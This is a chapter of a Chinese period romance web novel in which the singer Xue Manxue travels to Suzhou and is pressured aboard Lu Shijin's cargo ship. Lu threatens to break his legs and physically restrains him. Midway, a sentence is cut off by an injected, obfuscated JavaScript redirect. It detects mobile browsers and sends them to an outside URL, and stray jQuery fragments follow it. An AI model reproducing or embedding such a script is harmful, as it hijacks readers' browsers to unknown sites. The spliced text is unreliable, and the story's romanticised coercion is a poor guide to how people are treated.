薛满雪又一次赌赢了。


    那天他从陆府出来,一路畅通无阻,从头到尾,男人都没再拦他。


    后面的几天,生活回归了以往的平静。他每天依旧是唱戏、练嗓、压腿,一切井然有序。


    直到收到池瑶寄来的信,信中让他回一趟苏州,说有芳芳的消息了。


    没多迟疑,他和凤楼园请了四天假,把这几个月的假期都集中在一起休了,买了张去苏州的船票。


    陈星雁受邀去虞家唱堂会,接下来几天都要排练,所以没和他一起去。


    “师哥,你就放心去,我一个人能行的。”晚上,陈星雁给他收拾行李,语气不无希冀,“要是能找到芳芳,就可以解决你一直以来的心病了,我们三兄妹也终于可以团聚了。”


    “嗯。”薛满雪坐在桌边,还是不太放心,“小星,你这是第一次唱堂会,一定要记得——”


    “我知道的,曲子和词我都背好多遍了,而且正式唱之前还有排练呢。”陈星雁回头,朝他露出一笑,“师哥,我功夫可都是你教的,好竹怎么可能出歹笋?”


    “你说对吧?”


    薛满雪愣了愣,然后轻轻一笑:“倒也是。”


    “所以正好,师哥你这次回去也可以趁机休息一下,去划划船逛逛古镇,这段时间发生这么多事,你就没歇过。”陈星雁掀了掀衣角,又回过头来,“对了师哥,别忘了替我和瑶姐问好。”


    “好。”薛满雪也走上前,和他一起整理。


    看到他鬓边的汗水,他拍了拍他的肩,“我来就好了,厨房快落锁了,你先去打水洗澡。”


    “好!”陈星雁点点头,走到门口时,又似想起什么,“师哥。”


    “嗯?”薛满雪回头。


    “馋海棠糕了,师哥记得给我带点回来。”站在门边,陈星雁舔了舔唇。


    “好,给你带。”薛满雪笑起来,“不仅有海棠糕,还有荷花酥、桂花糕、东坡肉,怎么样?”


    “嗯!”陈星雁用力点了点头,晶亮的眼睛里闪着光。


    等他走后,薛满雪坐在床边拿出信纸,摸着泛黄的信笺,目光放空。


    这次除了去找池瑶外,他还想去一趟留园班。


    没准能找到新的线索。


    而他不知道的是,刚刚离开房间的陈星雁,停在回廊往他所在的房间看。


    望着房中对着信纸失神的人,陈星雁攥了攥拳头,神色忧虑。


    ——他知道,回苏州对师哥来说并不轻松,如果不是因为芳芳,他估计这辈子也不想再回去一趟。


    于他们而言,留园班是一段并不怎么愉快的回忆。


    他不想当着师哥的面提,就是不愿意去勾起他不开心的回忆。


    他能做的,就是把接下来的堂会唱好,让师哥别担心。


    夜幕沉下,将一切过往隐藏,直到天边冒出鱼肚白,一声轮船的汽笛声,拉开了新一天的序幕。


    站在码头,薛满雪排着队等待上船。


    目光百无聊赖地放到旁边一艘轮船上。


    那是一艘载满货物的货轮,体型比他们现在即将乘坐的客轮更为庞大,黑压压的船体冲出岸边,在青色薄雾中像一头蓄势待发的巨兽。


    直到扫到一道熟悉的身影。


    倏然顿住视线,瞳孔不自主放大。


    怎么是他!


    男人显然也注意到了他,停下了搬运货物的手。


    他“啧”了一声,随后拍了拍手,就这样从高高的船头上,直接利索地跳了下来,快步走到他面前。


    “这么巧?你跟着我来的?”晨雾中,陆世锦穿着一身黑衬衫,袖子挽起至手臂,头发梳成大背头,有几缕发丝从挺括的眉宇垂下,因为刚刚搬运货物,鬓角沾了一些汗水。


    此刻看到他,目光扬起一丝兴奋。


    他问薛满雪:“去哪?”


    薛满雪没回他,而是沉默地往后退了半步。


    “哑巴了?那天在我家不是挺伶牙俐齿的吗?”陆世锦觎起一笑。


    薛满雪心乱如麻,他怎么忘了?轮渡码头是陆家的主要产业。


    可他怎么都没想到会在这里遇到他。


    迅速在脑海里思索着对策。


    可男人的动作却比他更快,他一把夺过他手中的船票,待看清船票上的字后,挑了挑眉:“苏州?”


    “这种巧合,还说不是跟着我一起来的。”陆世锦脸上流露毫不掩饰的欣喜,一把抓过他手腕扣手里,“我也要去苏州,走,一起。”


    说完,就抓着他大踏步朝自己船上走去。


    手腕上传来炙热的温度,薛满雪下意识用力,一把甩开了他。


    “薛、满、雪——”男人额角跳动,一脸山雨欲来,薛满雪极力扬起一丝笑,“先等等。”


    “等什么?”陆世锦不耐。


    “我……”薛满雪攥了攥手,迅速想起个借口,“我要回趟家,有个东西忘拿了。”


    “不用——”


    薛满雪脸色微变。


    “要拿什么你和我说,我派人去你家取,取完后单独给你送过来。”


    陆世锦毫不在意地说着,说完又朝他走来要拉住他,却在即将抓住他手腕时,被不动声色地避开,他转眸去看。


    薛满雪扯着嘴角对他说:“我自己走,行吗?”


    “行,我看着你走。”


    陆世锦不动了,就这样站在原地定定看着他。


    眼里的神色意味不明:


    “先说好——”


    “你要是敢当着我的面跑掉,我一定会、打断你的腿。”


    薛满雪攥住手,微微垂下眼睫。


    忍了好几次想拔腿跑的冲动,还是跟着他上了那艘货轮。


    ……


    上了货轮后,陆世锦因为有事要忙,先离开了。


    这让薛满雪大松了一口气。


    在走之前,陆世锦叫了一个人跟着他,给他安排住的地方。


    至于要取的东西,薛满雪自然是随便找了个借口说不用了。


    “少爷的意思,是让您和他住一个船舱,那里条件更好,住着也更舒服。”


    薛满雪极力拒绝,本以为还要周旋一番,却没想到那下人只是犹豫地看了他几眼,就没再坚持,然后给他安排了一个比较宽敞的房间。


    进了船舱休息间,薛满雪再也忍不住,一把将行李甩到床上。


    坐在桌边,端起茶杯灌了一-大口,随后揉起疼痛不已的额角。


    ——本以为自那日陆府回来后,他暂时脱离虎口了,可谁知机缘巧合之下,他又被迫和这个男人待在了一起!


    “砰——”地一下,他愤恨地锤了下桌面,直到震得虎口发麻,他都没能从迷茫中回过神来。


    现在,他又该怎么面对男人?


    就这样,薛满雪惴惴不安地待在船舱里,心绪起伏不定。


    白天有人给他送饭,他一口没吃,只吃了自己带来的干粮。


    这期间,他能听到外面繁忙的脚步声和匆匆来往的人影。


    直到晚上,陆世锦都没再出现在他面前。


    听到外面层层翻涌的海浪声,薛满雪从船舱走了出来,靠在栏杆边,目光放空思索。


    看到漆黑一片的大海和层层翻涌的浪潮,思绪从遇到陆世锦的那天,蔓延到陆府他拿起陆母的相框逼停男人,再到这次码头偶然相遇。


    要不是男人脸上惊诧的表情不似作假,他都要怀疑这场偶遇是他故意安排的。


    像突然想到什么似得,他蹙起眉头。


    这不对。


    他忽略了一件事。


    白天那个下人在听到他严词拒绝时,为什么没有多纠缠就同意了他的要求?


    如果陆世锦真的想对他做什么,又怎么会同意他的要求?


    晚上又没有再进一步步步紧逼呢?真的只是太忙了吗?


    他眉头紧锁,转过身背靠栏杆上,却在转眸的一瞬间,和一双漆黑如墨的眼睛对上。


    咸湿的海风吹起。


    男人靠在不远处的船舱边,粗硬的短发被风吹开,露出一整张英挺深刻的脸,他指尖夹着一根半明半灭的烟,看地上零星的烟头,似乎在原地等了很久。


    薛满雪目光僵住。


    ……


    陆世锦是在十分钟前来的。


    在看到那清瘦的身影靠在栏杆边,夜风吹过他用木簪半挽的长发时,他就停住了脚步。


    只是静静盯着眼前的人看,看他光洁的侧脸被月色打亮,乌黑的发丝掠过山黛的眉梢,气质如霜似雪。


    比起戏台上的眉目含情,此刻的他清冷又疏离。


    ——他其实也不知道,为什么每次看到薛满雪,焦躁不安的心绪都能得到抚平。


    好像只是待在他身边,就足够让他心情舒畅。


    “一个人盯着海面看什么?想跳海?”碾灭烟头,陆世锦走到了他旁边。


    待走近后,他发现自己观察的没错,尤其是闻到他身上淡淡的松雪香,就感觉一整天的疲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444885|184766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惫一扫而空,整个人都放松了下来。


    薛满雪却有些紧绷,抿着唇看了他一眼,往后退了几步。


    疏离着神色,说:“没有。”他没有这么想不开,再说,也不值得。


    “那离我这么远干什么?怕我吃了你?都没二两肉,还不够我塞牙缝的。”陆世锦嗤一声,拉住他胳膊,“过来,风大,靠我怀里我给你挡风。”


    “陆世锦。”薛满雪纹丝不动,抬眸看向他,“这种戏码一天要上演几次?故技重施不腻吗?”


    他声音清冷,比起白天的惊惶,神情多了一丝沉着冷静。


    陆世锦奇怪于他的变化,更是奇怪他的胸有成竹。


    他啧了一声,突然一把拉过他的手,将他整个人控制在自己和栏杆中间。


    居高临下地盯着他:


    “你知道,我不会对在这里你下手?还是说,你不怕?”


    “我不知道。”迎着他逼视的目光,薛满雪直视回去,“但我能猜到,从那天陆府回来后,你的想法,就不会一成不变。”


    ——这也是他上船后,刚得出的结论。


    陆世锦沉了沉眸子,说:


    “薛满雪,你是唯一一个,拿我妈说事,我没对你动手的人。”


    薛满雪猛然攥紧手,攥的指节泛白。


    这时,一阵巨浪袭来,浪花瞬间打到甲板上,船体都随之一震。


    冰凉的海水溅到薛满雪脸上,让一直神经紧绷的他吓了一跳,发出一声短促的轻呼。


    “呵。”陆世锦轻笑一声,一把将怔忪的他带进怀里抱住,“还以为有多大胆子,没想到是个外强中干的纸老虎。”


    声音带着安抚,他拍了拍他的背,“放心,只是海浪,翻不了船,别怕。”


    鼻尖传来一股清冽的松雪香,他低头嗅了嗅,看着近在咫尺的秀白脖颈,声音发哑,“你身上好香,喷什么了?”还没闻够,就被怀里的人一把用力推开,怀中人声如冰泉,“我没事。”


    他力气出乎意料的大,陆世锦被推得猝不及防,差点从船上翻下去。


    “薛满雪!”


    他烦躁地点燃一根烟,将胳膊搭在栏杆上,没好气地说,“有时候我真觉得,那天虞北阙说的没错,你是真的很难搞。”


    ——虞北阙后面因为银行的事又找了他一趟,那人不知从哪得知他这几天和薛满雪的事,轻笑着对他说:“没办法,他光听名字就知道是个难搞的主儿,你且哄着吧,我反正劝你一句,别把人逼急了,不然容易人财两空。”


    思绪回转,陆世锦烦躁地捻了捻烟头:“碰你一下就跟刺猬似得扎我一手,就没见过比你倔的人,还软硬不吃。”


    骤然再听到虞北阙这个名字,薛满雪神色有一瞬间的停滞。


    从虞北阙一开始去警署刻意救小星,再到后面邀请小星去唱堂会,他都摸不清这个素未谋面的人到底有什么企图。


    倒不如趁这个机会,侧面向陆世锦打听一下,毕竟这俩人一看就关系匪浅。


    他握紧栏杆,抬头,状似不经意地问:“虞北阙……是你朋友?”


    “啧。”陆世锦冷笑一声,“还朋友,他就是个老狐狸,吃人不吐骨头的主儿。”


    ——这么多年,他和虞北阙的关系一直如此,表面兄弟。没有利益牵扯的时候,二人闲来无事飙车斗马也称得上朋友,可当利益来临时,却没人想当那尊乐山大佛,谁也不把谁供着,不趁乱给对方下黑手都算好的了。


    “听你的意思,你对他很不满?你从他那吃过亏?”


    “我光折他手上的钱都够买一家银行了,更别提他现在手伸那么长,还插手平京商会,把整个商会搅得乌烟瘴气。”陆世锦低淬一声,似想到什么,倏然看向薛满雪,“差点忘了,刚开始这小子就对你——”


    “对我?”薛满雪疑惑地皱起眉头。


    渐渐地、陆世锦察觉出不对味来,他神情警觉,眯起眼睛看向他:“你一直打听他干什么?”


    “我……”薛满雪顿了顿,然后别开头,目光镇静道,“我只是好奇。”


    “再说,不是你一直拉着我聊天吗?我只是在回应你而已。”


    “少他-妈跟老子打岔!”陆世锦一把掐住他下巴,逼迫他看向自己,“跟老子弯弯绕绕试探什么呢?难怪从刚开始就见你不对劲,好奇谁不行你好奇他?”


    “你见过他了是不是?他不老实来找你了是不是?”见他沉默,陆世锦沉下声来,眼神变得锐利无比,“你喜欢他是不是!”